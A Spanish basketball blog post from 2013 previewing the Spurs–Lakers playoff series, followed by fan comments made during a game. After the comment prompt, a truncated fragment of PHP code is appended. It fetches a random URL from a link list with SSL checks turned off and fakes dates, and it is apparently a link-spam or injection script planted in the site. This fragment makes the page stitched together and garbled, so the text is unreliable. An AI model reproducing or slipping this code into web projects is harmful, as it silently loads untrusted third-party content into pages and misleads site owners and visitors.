Previa San Antonio Spurs – Los Angeles Lakers

21 de April de 2013 por HisRoyalAirness

LA batalla del Oeste. Así, con mayúsculas. No cabe duda de que ambos equipos han sido los claros dominadores del salvaje Oeste durante la última década y pico. Si nos ponemos serios cabría decir que realmente han dominado la liga al completo. Desde el año 99 ambas franquicias combinadas han conseguido 9 de los últimos 14 títulos. Mientras que los de California han sufrido cambios de entrenador y reconstrucciones, los Tejanos conservan la piedra angular de sus múltiples éxitos: el trío Duncan-Ginobili-Parker y el liderazgo de Greg Poppovich, para muchos el mejor entrenador de la NBA.

A priori los de púrpura y oro tienen más bazas para competirle una serie a los Spurs que a los Thunder. Juego más pausado y, al margen de Parker, un perímetro mucho menos atlético. Los emparejamientos están algo más equilibrados y la serie puede dar mucho más de sí en lo táctico, algo nefasto para Lakers porque D’Antoni no tiene absolutamente nada que hacer frente al hombre del “I want some nasty!”.

Los duelos durante la temporada regular dejan entrever que la eliminatoria puede estar más competida de lo que podría parecer, ya que todos se resolvieron por diferencias mínimas: 2, 3 y 5 puntos, con dos victorias para los de San Antonio. El supuesto run & gun sin Kobe es una quimera. No van a poder irse a marcadores altos sin su principal anotador y les beneficiará un juego más pausado y ortodoxo: balones al poste y tiradores abiertos. Punto. La defensa de perímetro se antoja clave frente al equipo con más asistencias de la liga y, por lo tanto, que mejor encuentra al hombre libre, sea Bonner, sea Gary Neal o Manudo. Tiradores no les faltan a los de San Antonio.

Los supuestos tiradores de Lakers han sido lo más irregular del mundo. Jodie Meeks sin ir más lejos lleva un mes de abril nefasto, promediando 5 puntos por partido con un 31% en tiros de campo, y el resto un día lo enchufan todo y se pasan tres semanas sin ver aro.

Claves de la eliminatoria:

  • Tony Parker: en ataque es virtualmente indefendible pero si juega Nash por lo menos puede procurar cansarle en defensa y estar pendiente de no dejarle libre para tirar. Lo único que pueden hacer los Lakers es intentar limitar su producción porque no tienen nada para frenarlo. Se antoja clave el entendimiento entre los 2 grandes para defender sus penetraciones con pasito extra que tanto le gustan.
  • Guerra en la pintura y batalla por el rebote: si había alguien que no pensase que Tim Duncan es el mejor PF de la historia, después de la temporada que se ha hecho con 36 años, en la conferencia más dura, con un calendario terrible y una plantilla limitadísima en comparación con las de otros “supuestos” grandes (ejem), podría replantearse su criterio baloncestístico. El duelo Duncan-Gasol puede que sea el más igualado (salvando las distancias) y el más atractivo. Sobre el papel Dwight Howard debería comerse a Splitter con patatas, no porque el brasileño sea un mal jugador sino por la superioridad física y agilidad del ex de los Magic. Topicazo pero verdad como un puño: quien gane la pelea por el rebote ganará la eliminatoria.
  • Segundas unidades, jugadores de rol y Manudona: la plantilla de San Antonio no tiene debilidades. Juego interior, tiradores, defensores y la batuta de Popovich. Si Ginóbili vuelve medianamente sano la segunda unidad es altamente superior a cualquiera que puedan ponerle enfrente. Jugadores como Jamison, Meeks y el propio World Peace deberán multiplicarse para no encajar parciales escandalosos.
  • Guerra de banquillos: ¿he dicho guerra? No hay color. Pop es tan superior en TODO a Mr. Pringles que creo que el del bigote va a llorar en el baño todas las noches antes de salir al parquet. Lleva años demostrando que no es el gran entrenador que muchos pensábamos y que el juego desplegado por sus Suns fue más fruto de una conjunción astral que de su mano. Si no consigue adaptarse y ralentizar el juego los Lakers no tienen nada que hacer contra la defensa de San Antonio. Madurar las jugadas y cargar el juego interior descaradamente es el único camino que Mike D’Antoni debiera seguir si quiere tener éxito.

La cuestión es la siguiente: ¿Pueden los Lakers ganarle una serie a los Spurs? Sí, pueden.

Pero yo no apostaría por ello salvo nivel escandaloso de Dwigth Howard y forzando un séptimo.

Pronóstico: 4-2 Spurs.

Comenta

100 comentarios a esta entrada

  1. Denise dice:
    #1

    Jose Luis:
    En cuanto San Antonio se ha puesto a llorarle a los árbitros…

    Yo desde las guarradas de Horry, Bowen y Cia a los Suns los odio.

      Citar

  2. Denise dice:
    #2

    Denise: Yo desde las guarradas de Horry, Bowen y Cia a los Suns los odio.

    a Popovych el primero, claro.

      Citar

  3. Denise dice:
    #3

    Ginobili on-fire y 13 arriba Spurs al termino del tercer cuarto. Creo que la mayor diferencia en el marcador

      Citar

  4. rumbero dice:
    #4

    Per Manudona mola. Que crack

      Citar

  5. nba dice:
    #5

    Denise:
    Otra perdida de Morris, que malo por Dios

    Cuando piensa sacar D’antoni a Goudelock??

      Citar

  6. Jose Luis dice:
    #6

    Bueno, 13 abajo, pero lo dicho antes, cualquier equipo del Oeste se merienda a estos Spurs… a los Lakers se le nota la ausencia del algún exterior que se fabrique tiros. Tienen una incapacidad ofensiva bastante notable.

      Citar

  7. Denise dice:
    #7

    El mal tiro exterior y las perdidas de balón de Lakers son las claves del partido.

      Citar

  8. Jose Luis dice:
    #8

    Denise: Yo desde las guarradas de Horry, Bowen y Cia a los Suns los odio.

    No creo que haya mucha gente a quien le gusten los Spurs, fuera de los propios aficionados Spurs.

      Citar

  9. Denise dice:
    #9

    Denise:
    Los Lakers pueden fichar todavia? ó ya esta el plazo de inscripciones cerrado?
    Puff Blake rompiendole la cintura a Parker, 4 abajo Lakers

    Me cito el comentario. Alguien sabe si se puede fichar aun?

      Citar

  10. Denise dice:
    #10

    Jose Luis: No creo que haya mucha gente a quien le gusten los Spurs, fuera de los propios aficionados Spurs.

    A ver si cuando Duncan se retire, no va ni un agente libre para allá. Además la equipación es muy fea, y el nombre y el logo del equipo una mierda.

      Citar

  11. Jose Luis dice:
    #11

    Vuelven a ponerse a 9, los Lakers lo están dando todo, lo que pasa es que no dan para más.

      Citar

  12. melo15 dice:
    #12

    Creo que es la primera vez que voy con los Lakers.
    Desde que se lesiono Kobe me dan mas pena y ahora que juegan contra los Spurs voy con ellos a muerte.

      Citar

  13. Jose Luis dice:
    #13

    mmm que yo sepa se podrá aún no? no creo que el periodo acabe justo el dia que empiezan los PO. Eso sí, jugadores que no hayan jugado ni un minuto en la NBA, así que hay pocos.

      Citar

  14. Denise dice:
    #14

    Gasol echandose el equipo a las espaldas, 4 puntos consecutivos. Debe seguir así, forzando mas 1×1, es mjuy superior al paquete de Bonner, y a Splitter. Duncan está ahora sentado.

      Citar

  15. Denise dice:
    #15

    Jose Luis:
    mmm que yo sepa se podrá aún no? no creo que el periodo acabe justo el dia que empiezan los PO. Eso sí, jugadores que no hayan jugado ni un minuto en la NBA, así que hay pocos.

    Y el Agente Zero, como andará? Estará fino fisicamente ó andará en un ghetto rodeado de cocaina, metralletas y algunas guarrillas?

      Citar

  16. Jose Luis dice:
    #16

    Agent Zero… buf. Si D’Antoni no le da la alternativa ni a Goudelock… ts. Sonny Weems? xD

      Citar

  17. Denise dice:
    #17

    Toma pincho de merluza paquete Bonner. Que mal me han caido siempre estos Bonner, Cardinal y Scalabrines de la vida que son muy malos pero siempre dan por culo en el momento menos oportuno con sus triples…

      Citar

  18. Denise dice:
    #18

    Jose Luis:
    Agent Zero… buf. Si D’Antoni no le da la alternativa ni a Goudelock… ts. Sonny Weems? xD

    Weems me gustaba en los Raptors, y ahora no sé si anda por Lituania ó por el CSKA. No es mala opción. Lakers otra vez 13 abajo

      Citar

  19. Jose Luis dice:
    #19

    78 puntos los Spurs en 4 cuartos y medio…

      Citar

  20. HisRoyalAirness dice:
    #20

    A mí me gustan los Spurs. Odiaba a Bowen pero un equipo con Timmy, Manudo y Parker es de mi devoción sí o sí.
    Y hay que tener en cuenta que en los mercados pequeños tienen que protestar más, que sino te pierden el respeto

      Citar

  21. Jose Luis dice:
    #21

    Dios mio Gasol en los tiros de más de 2 metros… por dios…

      Citar

  22. Denise dice:
    #22

    Buff tropecientos ataques fallados entre unos y otros..

      Citar

  23. Denise dice:
    #23

    Me da la sensación de que hoy está ganando el menos malo.

      Citar

  24. Jose Luis dice:
    #24

    Eso de protestar y mercados pequeños sería antes, ahora mismo San Antonio no es un mercado pequeño, ni tienen poco respeto por ellos, HisRoyal

      Citar

  25. Denise dice:
    #25

    HisRoyalAirness:
    A mí me gustan los Spurs. Odiaba a Bowen pero un equipo con Timmy, Manudo y Parker es de mi devoción sí o sí.
    Y hay que tener en cuenta que en los mercados pequeños tienen que protestar más, que sino te pierden el respeto

    Pero San Antonio ya no es un mercado pequeño, no? Tengo entendido que es un de las ciudades en EEUU que mas en expansión está

      Citar

  26. Denise dice:
    #26

    Nos estamos quedando sin partido. D’Antoni deberia sentar ya a sus titulares.

    A todo esto, ¿donde está McGrady?

      Citar

  27. Denise dice:
    #27

    Vaya perdida de Pau…

      Citar

  28. Denise dice:
    #28

    Ya está Bonner dando por culo para cerrar el partido. 16 arriba Spurs a falta de 4 minutos. Esto está acabado señores!!

      Citar

  29. yuntas dice:
    #29

    como van a dar pena estos Lakers, lo que dan es bronca. Howard supuestamente es tan jugador que se mete solo en las finales y hoy están séptimos y perdiendo contra un equipo que ni esta a la mitad de su nivel habitual. Yo no soy aficionado Spur pero Duncan, Ginobili y Parker me caen mucho mejor que las mierdas de Jamieson, Howard, Meeks y Blake (al que su paso por Portland casi me provoca una úlcera)

      Citar

  30. Jose Luis dice:
    #30

    Bueno dos triples maquillan el resultado ahora, pero los 8-10 puntos de diferencia han sido la tónica durante todo el partido. No creo que los aficionados de los Spurs estén contentos. Los Lakers hasta que la mecha les ha durado han estado ahí, y eso dice mucho.

      Citar

  31. HisRoyalAirness dice:
    #31

    No es un mercado grande, no hay más que ver sus contratos televisivos y lo que pueden gastar en salarios.

    Ya defiendo yo el perímetro eh? Lamentable

      Citar

  32. Denise dice:
    #32

    Bufff 19 perdidas de Lakers por 7 de Spurs, y 2 triples para los angelinos por los 7 de los texanos. Para mí, la clave del partido. Me queda la sensación de que está ganando el menos malo, y esto con un Kobe en plan no egoista, repartiendo juego, generando ventajas y seleccionando bien el tiro….ganan Lakers seguro. En la pintura, los angelinos han sido muy superiores, Gasol ha estado fallón pero ha tirado casi siempre solo y comodamente.

      Citar

  33. Denise dice:
    #33

    yuntas:
    como van a dar pena estos Lakers, lo que dan es bronca. Howard supuestamente es tan jugador que se mete solo en las finales y hoy están séptimos y perdiendo contra un equipo que ni esta a la mitad de su nivel habitual. Yo no soy aficionado Spur pero Duncan, Ginobili y Parker me caen mucho mejor que las mierdas de Jamieson, Howard, Meeks y Blake (al que su paso por Portland casi me provoca una úlcera)

    Muy bien,, eso es bueno, que haya gente con distintos puntos de vista. Si yo tampoco soy de Lakers…

      Citar

  34. Denise dice:
    #34

    15 arriba Spurs a falta de 2 minutos. Ya sobran los titulares en pista.

      Citar

  35. HisRoyalAirness dice:
    #35

    Os veo a todos muy convencidos con lo de que los Spurs son unos mantas eh?
    Parker y Manu acaban de salir de una lesión, están haciendo lo estrictamente necesario y les llega.

    Eso sí, que siga con los titulares en pista el Pringles, tipo inteligente

      Citar

  36. Denise dice:
    #36

    No suelo ver mucho a los Spurs, pero cuando lo hago nunca me pilla un buen partido de Splitter, horrible su partido de hoy.

      Citar

  37. yuntas dice:
    #37

    a mi me parece que los Lakers no pueden ser mas que pesimistas en esta situación, nada hace ver que Howard sea lo que fue a ser a Los Angeles y San Antonio se caracteriza por ajustar cada vez mas la defensa acorde pasan los partidos en PO y aqui esta facil, lo que les puede complicar la estrategia es que los Lakers no tienen a nadie a quien defender. Después de todo a los Spurs ya los vimos ser ajusticiados por Memphis pero no creo que pase de vuelta.

    Yo también comparto que hay que borrar a los Bonner

      Citar

  38. Denise dice:
    #38

    HisRoyalAirness:
    Os veo a todos muy convencidos con lo de que los Spurs son unos mantas eh?
    Parker y Manu acaban de salir de una lesión, están haciendo lo estrictamente necesario y les llega.

    Eso sí, que siga con los titulares en pista el Pringles, tipo inteligente

    Para mí Clippers son mejores que Spurs, Thunder tambien si el banquillo responde minimamente, y los Nuggets si tuvieran a Gallinari y Faried tambien. Los Warriors en un momento dado les puede hacer un traje, pero en una serie a 7 no les veo ganando, le falta profundidad de banquillo a los californianos.

      Citar

  39. HisRoyalAirness dice:
    #39

    Manu 18 puntos en 18 minutos, qué puto bestia

      Citar

  40. HisRoyalAirness dice:
    #40

    Denise: Para mí Clippers son mejores que Spurs, Thunder tambien si el banquillo responde minimamente, y los Nuggets si tuvieran a Gallinari y Faried tambien. Los Warriors en un momento dado les puede hacer un traje, pero en una serie a 7 no les veo ganando, le falta profundidad de banquillo a los californianos.

    Clippers tienen mejor plantilla, sí, pero es que los Spurs son mucho mejor bloque y Pop se come a Del Negro por donde quiere. Y Duncan le da muchos dolores de cabeza a Griffin

      Citar

  41. HisRoyalAirness dice:
    #41

    Y si un equipo me cae mal ultimamente, esos son los Clippers. Gentuza odiosa

      Citar

  42. Denise dice:
    #42

    yuntas:
    a mi me parece que los Lakers no pueden ser mas que pesimistas en esta situación, nada hace ver que Howard sea lo que fue a ser a Los Angeles y San Antonio se caracteriza por ajustar cada vez mas la defensa acorde pasan los partidos en PO y aqui esta facil, lo que les puede complicar la estrategia es que los Lakers no tienen a nadie a quien defender. Después de todo a los Spurs ya los vimos ser ajusticiados por Memphis pero no creo que pase de vuelta.

    Yo también comparto que hay que borrar a los Bonner

    Yo me reafirmo. Si consiguen controlar las perdidas y tener mas acierto exterior, los Lakers pueden plantarle cara a los Spurs. Para mí, la pintura angelina ha estado mejor que la texana, a pesar de un Pau que ha estado muy fallón, y un DH que ha ido claramente de más a menos y ha acabado con problemas de faltas.

    91-77 para Spurs al final.

      Citar

  43. Denise dice:
    #43

    HisRoyalAirness:
    Y si un equipo me cae mal ultimamente, esos son los Clippers. Gentuza odiosa

    Me encantan los Clippers, Paul, Bledsoe (jugadorazo infravalorado), Crawford, Billups, Griffin, y como no los ex-Magic Hill y Barnes (jugador mas infravalorado desde hace años) .Gran espectaculo el que dan. El que si me cae mal es Butler, menos mal que es agente libre y se pirará este verano, en la porra los puse como finalistas de la NBA, creo que el anillo lo ganará Miami, pero me gustaría que lo ganaran los Clippers.

      Citar

  44. HisRoyalAirness dice:
    #44

    Denise: Me encantan los Clippers, Paul, Bledsoe (jugadorazo infravalorado), Crawford, Billups, Griffin, y como no los ex-Magic Hill y Barnes (jugador mas infravalorado desde hace años) .Gran espectaculo el que dan. El que si me cae mal es Butler, menos mal que es agente libre y se pirará este verano, en la porra los puse como finalistas de la NBA, creo que el anillo lo ganará Miami, pero me gustaría que lo ganaran los Clippers.

    Yo no como jugadores, como personas Chris Paul y Blake Griffin me caen como una patada en los huevos. Son unos fantasmas

      Citar

  45. Denise dice:
    #45

    Hablando de Bledsoe, Chris Paul dice literalmente
    “There’s no way he can be here next year because we probably won’t have enough money to pay him.”
    No hay forma de que el año que viene siga aquí ya que probablemente no tengamos suficiente dinero para pagarle.

    Pues no sé que pedirá Bledsoe, pero por ejemplo para Lakers creo que sería un buen fichaje, aunque claro, su Clippers no puede retenerle, no creo que se conforme con la mid-level.

      Citar

  46. Denise dice:
    #46

    HisRoyalAirness: Yo no como jugadores, como personas Chris Paul y Blake Griffin me caen como una patada en los huevos. Son unos fantasmas

    ¿En que sentido? Te refieres al vacilar cuando hacen un mate ó algo así…quizas ande perdido, pero no he escuchado declaraciones desafortunadas en la prensa de ninguno de los dos.

      Citar

  47. HisRoyalAirness dice:
    #47

    Denise: ¿En que sentido? Te refieres al vacilar cuando hacen un mate ó algo así…quizas ande perdido, pero no he escuchado declaraciones desafortunadas en la prensa de ninguno de los dos.

    El rollo niñato que se trae CP en plan nadie me ha regalado nada y voy de duro en la cancha y en las ruedas de prensa. El rollo que tuvo con Pau que me pareció de lo más irrespetuoso (antes a un campeón se le respetab) y lo que dijo después en rueda de prensa.
    Y Griffin que se cree la segunda venida de Cristo con sus declaraciones y sus miraditas y es un niñato.
    Antes el respeto había que ganárselo y si eras de segundo año y se te subían los humos ya aparecían por ahí un Barkley o un Laimbeer a bajarte de la parra.
    Ah, y es un “flopper” escandaloso

      Citar

  48. Denise dice:
    #48

    HisRoyalAirness: El rollo niñato que se trae CP en plan nadie me ha regalado nada y voy de duro en la cancha y en las ruedas de prensa. El rollo que tuvo con Pau que me pareció de lo más irrespetuoso (antes a un campeón se le respetab) y lo que dijo después en rueda de prensa.
    Y Griffin que se cree la segunda venida de Cristo con sus declaraciones y sus miraditas y es un niñato.
    Antes el respeto había que ganárselo y si eras de segundo año y se te subían los humos ya aparecían por ahí un Barkley o un Laimbeer a bajarte de la parra.
    Ah, y es un “flopper” escandaloso

    Yo no lo veo así…es que entonces, si lo tomas en serio, te caería mal media liga, Lebron y KG con el magnesio, Nate Robinson que siempre está haciendo el gilipuertas con tanto gesticular, MWPeace y sus besos en los biceps, Calderon y sus simbolo del triple (que manda cojones hacerlo cuando van los Pistons perdiendo de 30…) en fin, cada uno tiene su opinión.
    A mi me caen peor los jugadores sucios y no tanto el que le gusta llamar la atención.

      Citar

  49. HisRoyalAirness dice:
    #49

    Denise: Yo no lo veo así…es que entonces, si lo tomas en serio, te caería mal media liga,Lebron y KG con el magnesio, Nate Robinson que siempre está haciendo el gilipuertas con tanto gesticular, MWPeace y sus besos en los biceps, Calderon y sus simbolo del triple (que manda cojones hacerlo cuando van los Pistons perdiendo de 30…) en fin, cada uno tiene su opinión.
    A mi me caen peor los jugadores sucios y no tanto el que le gusta llamar la atención.

    Es que esos que has nombrado me caen bastante mal jaja

      Citar

  50. rumbero dice:
    #50

    HisRoyalAirness: El rollo niñato que se trae CP en plan nadie me ha regalado nada y voy de duro en la cancha y en las ruedas de prensa. El rollo que tuvo con Pau que me pareció de lo más irrespetuoso (antes a un campeón se le respetab) y lo que dijo después en rueda de prensa.
    Y Griffin que se cree la segunda venida de Cristo con sus declaraciones y sus miraditas y es un niñato.
    Antes el respeto había que ganárselo y si eras de segundo año y se te subían los humos ya aparecían por ahí un Barkley o un Laimbeer a bajarte de la parra.
    Ah, y es un “flopper” escandaloso

    Yo también le he cogido una manía importante a esta tropa y eso que suelen caerme bien casi todos los equipos. Añadiría a Jordan que lo van a tener que atar con cuerdas al banquillo no vaya a hacerse daño un día de estos cuando hagan uno de sus mates aunque vayan 15 abajo. Y a mi Paul me parece el mejor base de la liga, pero después de su último flop con Cousins le hubiera metido un puro que no jugaba hasta la temporada que viene. Flop City.

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>